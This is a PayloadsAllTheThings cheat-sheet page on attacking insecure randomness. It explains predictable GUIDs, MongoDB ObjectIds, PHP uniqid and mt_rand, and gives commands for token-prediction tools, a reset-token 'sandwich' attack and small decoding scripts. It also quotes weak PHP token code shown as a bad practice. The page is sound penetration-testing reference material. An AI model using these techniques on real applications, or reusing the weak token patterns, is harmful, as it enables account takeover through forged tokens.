PayloadsAllTheThings/Insecure Randomness

Insecure Randomness

Summary

• GUID / UUID
  • GUID Versions
• Mongo ObjectId
• Uniqid
• mt_rand
• Other
• References

GUID / UUID

A GUID (Globally Unique Identifier) or UUID (Universally Unique Identifier) is a 128-bit number used to uniquely identify information in computer systems. They are typically represented as a string of hexadecimal digits, divided into five groups separated by hyphens, such as 550e8400-e29b-41d4-a716-446655440000. GUIDs/UUIDs are designed to be unique across both space and time, reducing the likelihood of duplication even when generated by different systems or at different times.

GUID Versions

Version identification: xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx The four-bit M and the 1- to 3-bit N fields code the format of the UUID itself.

Version	Notes
0	Only 00000000-0000-0000-0000-000000000000
1	based on time, or clock sequence
2	reserved in the RFC 4122, but omitted in many implementations
3	based on a MD5 hash
4	randomly generated
5	based on a SHA1 hash

Tools

• intruder-io/guidtool - A tool to inspect and attack version 1 GUIDs

  $ guidtool -i 95f6e264-bb00-11ec-8833-00155d01ef00
  UUID version: 1
  UUID time: 2022-04-13 08:06:13.202186
  UUID timestamp: 138691299732021860
  UUID node: 91754721024
  UUID MAC address: 00:15:5d:01:ef:00
  UUID clock sequence: 2099
  
  $ guidtool 1b2d78d0-47cf-11ec-8d62-0ff591f2a37c -t '2021-11-17 18:03:17' -p 10000
  

Mongo ObjectId

Mongo ObjectIds are generated in a predictable manner, the 12-byte ObjectId value consists of:

• Timestamp (4 bytes): Represents the ObjectId’s creation time, measured in seconds since the Unix epoch (January 1, 1970).
• Machine Identifier (3 bytes): Identifies the machine on which the ObjectId was generated. Typically derived from the machine's hostname or IP address, making it predictable for documents created on the same machine.
• Process ID (2 bytes): Identifies the process that generated the ObjectId. Typically the process ID of the MongoDB server process, making it predictable for documents created by the same process.
• Counter (3 bytes): A unique counter value that is incremented for each new ObjectId generated. Initialized to a random value when the process starts, but subsequent values are predictable as they are generated in sequence.

Token example

• 5ae9b90a2c144b9def01ec37, 5ae9bac82c144b9def01ec39

Tools

• andresriancho/mongo-objectid-predict - Predict Mongo ObjectIds

  ./mongo-objectid-predict 5ae9b90a2c144b9def01ec37
  5ae9bac82c144b9def01ec39
  5ae9bacf2c144b9def01ec3a
  5ae9bada2c144b9def01ec3b
  

• Python script to recover the timestamp, process and counter

  def MongoDB_ObjectID(timestamp, process, counter):
      return "%08x%10x%06x" % (
          timestamp,
          process,
          counter,
      )
  
  def reverse_MongoDB_ObjectID(token):
      timestamp = int(token[0:8], 16)
      process = int(token[8:18], 16)
      counter = int(token[18:24], 16)
      return timestamp, process, counter
  
  
  def check(token):
      (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
      return token == MongoDB_ObjectID(timestamp, process, counter)
  
  tokens = ["5ae9b90a2c144b9def01ec37", "5ae9bac82c144b9def01ec39"]
  for token in tokens:
      (timestamp, process, counter) = reverse_MongoDB_ObjectID(token)
      print(f"{token}: {timestamp} - {process} - {counter}")
  

Uniqid

Token derived using uniqid are based on timestamp and they can be reversed.

• Riamse/python-uniqid is based on a timestamp
• php/uniqid

Token examples

• uniqid: 6659cea087cd6, 6659cea087cea
• sha256(uniqid): 4b26d474c77daf9a94d82039f4c9b8e555ad505249437c0987f12c1b80de0bf4, ae72a4c4cdf77f39d1b0133394c0cb24c33c61c4505a9fe33ab89315d3f5a1e4

Tools

import math
import datetime

def uniqid(timestamp: float) -> str:
    sec = math.floor(timestamp)
    usec = round(1000000 * (timestamp - sec))
    return "%8x%05x" % (sec, usec)

def reverse_uniqid(value: str) -> float:
    sec = int(value[:8], 16)
    usec = int(value[8:], 16)
    return float(f"{sec}.{usec}")

tokens = ["6659cea087cd6" , "6659cea087cea"]
for token in tokens:
    t = float(reverse_uniqid(token))
    d = datetime.datetime.fromtimestamp(t)
    print(f"{token} - {t} => {d}")

mt_rand

Breaking mt_rand() with two output values and no bruteforce.

• ambionics/mt_rand-reverse - Script to recover mt_rand()'s seed with only two outputs and without any bruteforce.

./display_mt_rand.php 12345678 123
712530069 674417379

./reverse_mt_rand.py 712530069 674417379 123 1

Other

Other bad ideas that are sometimes shipped into production.

• $token = md5($emailId).rand(10,9999);
• $token = md5(time()+123456789 % rand(4000, 55000000));

Generic identification and sandwitch attack:

• AethliosIK/reset-tolkien - Insecure time-based secret exploitation and Sandwich attack implementation Resources

  reset-tolkien detect 660430516ffcf -d "Wed, 27 Mar 2024 14:42:25 GMT" --prefixes "attacker@example.com" --suffixes "attacker@example.com" --timezone "-7"
  reset-tolkien sandwich 660430516ffcf -bt 1711550546.485597 -et 1711550546.505134 -o output.txt --token-format="uniqid"
  

References

• In GUID We Trust - Daniel Thatcher - October 11, 2022
• IDOR through MongoDB Object IDs Prediction - Amey Anekar - August 25, 2020
• Secret basé sur le temps non sécurisé et attaque par sandwich - Analyse de mes recherches et publication de l’outil “Reset Tolkien” - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024 (FR)
• Unsecure time-based secret and Sandwich Attack - Analysis of my research and release of the “Reset Tolkien” tool - Tom CHAMBARETAUD (@AethliosIK) - April 2, 2024 (EN)
• Multi-sandwich attack with MongoDB Object ID or the scenario for real-time monitoring of web application invitations: a new use case for the sandwich attack - Tom CHAMBARETAUD (@AethliosIK) - July 18, 2024
• Exploiting Weak Pseudo-Random Number Generation in PHP’s rand and srand Functions - Jacob Moore - October 18, 2023
• Breaking PHP's mt_rand() with 2 values and no bruteforce - Charles Fol - January 6, 2020